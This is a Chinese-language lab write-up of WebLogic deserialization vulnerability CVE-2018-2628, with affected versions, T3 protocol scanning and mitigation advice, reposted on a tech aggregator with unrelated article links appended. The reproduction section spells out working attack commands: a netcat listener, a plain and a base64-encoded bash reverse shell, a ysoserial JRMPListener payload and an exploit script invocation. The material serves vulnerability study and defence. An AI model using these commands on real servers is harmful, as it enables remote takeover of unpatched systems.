weblogic 反序列化 CVE-2018-2628

这个漏洞因为java版本问题一直下载不了ysoserial反序列化工具,没办法生成payload。这里记录一下漏洞原理。

一、漏洞简介

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)

二、影响版本

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.2.0

Oracle Weblogic Server12.2.1.3.0

三、漏洞复现

扫描靶场查看有没有开启t3协议(T3 协议是 Oracle WebLogic Server 使用的一种通信协议,它用于在 WebLogic Server 节点之间进行通信。T3 协议是基于 Java 的 RMI(远程方法调用)协议的一种扩展,它提供了可靠的、高性能的、面向对象的远程通信机制。),和weblogic版本

nmap -n -v -p 7001,7002 192.168.116.144 --script=weblogic-t3-info 

 

1、使用ysoserial启动一个JMRP Server

nc -lvvp 9090

2、JMRP Server开启监听请求,向目标服务器发送序列化的bash反弹shell命令

sh -i >& /dev/tcp/192.168.116.144/9999 0>&1
#反弹shell命令,由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
#开启JMRP Server服务并发送反弹shell
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

3、接下来使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷(payload)

python2 exp.py 192.168.100.134 7001 ysoserial-all.jar 192.168.116.144 7777 JRMPClient
#exp.py原理是利用 T3 协议通信与目标主机进行交互,并利用 ysoserial 工具生成的 payload 来触发目标系统的远程代码执行漏洞

4、查看监听端口

 四、修复建议

此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端 口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护 该漏洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用 此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修 复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏 洞的有效方式。控制T3服务方式:

1、进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面, 点击“筛选器”,进入连接筛选器配置。 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,

在连接筛 选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s 协议的所有端口只允许本地访问)。 保存后需重新启动,规则方可生效。

2. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/691530.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM之运行时数据区

Java虚拟机在运行时管理的内存区域被称为运行时数据区。 程序计数器: 也叫pc寄存器,每个线程会通过程序计数器记录当前要执行的字节码指令的地址。程序计数器在运行时是不会发生内存溢出的,因为每个线程只存储一个固定长度的内存地址。 JAVA虚…

【网站项目】SpringBoot803房屋租赁管理系统

🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板&#xff…

【C/C++】C/C++ 校园失物招领系统设计与实现(源码+报告)【独一无二】

👉博__主👈:米码收割机 👉技__能👈:C/Python语言 👉公众号👈:测试开发自动化【获取源码商业合作】 👉荣__誉👈:阿里云博客专家博主、5…

保研机试之【二叉树后序】--1道题

参考:东哥带你刷二叉树(后序篇) | labuladong 的算法笔记 建议先过一遍:今天是二叉树~-CSDN博客,very重要! 然后再过一遍(理解怎么应用方法):保研机试之[三道二叉树习题…

C++初学者,使用汉语编程

现在的IDE是完全支持中文编程的,对于C语系的爱好者来说,又可以发挥自己的想象力了。 今天使用一些宏定义写了一个小程序,用于玩弄C。 我喜欢C语言,是因为C语言简单,语法简洁。我也喜欢汉语,因为汉语语法简…

保研机试之【二叉树序列化】

老规矩咯: 参考:东哥带你刷二叉树(序列化篇) | labuladong 的算法笔记 建议先过一遍:今天是二叉树~-CSDN博客,very重要! 然后再过一遍(理解怎么应用方法)&#xff1a…

C++入门指南(上)

目录 ​编辑 一、祖师爷画像 二、什么是C 三、C发展史 四、C在工作领域的应用 1. 操作系统以及大型系统软件开发 2. 服务器端开发 3. 游戏开发 4. 嵌入式和物联网领域 5. 数字图像处理 6. 人工智能 7. 分布式应用 五、如何快速上手C 一、祖师爷画像 本贾尼斯特劳斯…

|Python新手小白中级教程|第二十八章:面向对象编程(类定义语法私有属性类的继承与多态)(4)

文章目录 前言一、类定义语法二、私有方法和私有属性1.私有属性2.私有方法 三、类“继承”1.初识继承2.使用super函数调用父类中构造的东西 四、类“多态”1.多态基础2.子类不同形态3.使用isinstance函数与多态结合判断类型 总结 前言 大家好,我是BoBo仔吖&#xf…

云南区块链商户平台:抓包技术自制开票工具(三)

前言 上节我们将登录的流程梳理完毕了,来到了本章重点,既然开发票就肯定要有以下参数: 原工具不支持识别历史记录,对于我们的小商店来说,开票的公司基本就是固定的几个,如果提供下拉支持选择将会大大降低…

【基于 PyTorch 的 Python 深度学习】6 视觉处理基础:卷积神经网络(1)

前言 文章性质:学习笔记 📖 学习资料:吴茂贵《 Python 深度学习基于 PyTorch ( 第 2 版 ) 》【ISBN】978-7-111-71880-2 主要内容:根据学习资料撰写的学习笔记,该篇主要介绍了卷积神经网络的卷积层部分。 预&#xff1…

C++ | Leetcode C++题解之第76题最小覆盖子串

题目&#xff1a; 题解&#xff1a; class Solution { public:unordered_map <char, int> ori, cnt;bool check() {for (const auto &p: ori) {if (cnt[p.first] < p.second) {return false;}}return true;}string minWindow(string s, string t) {for (const au…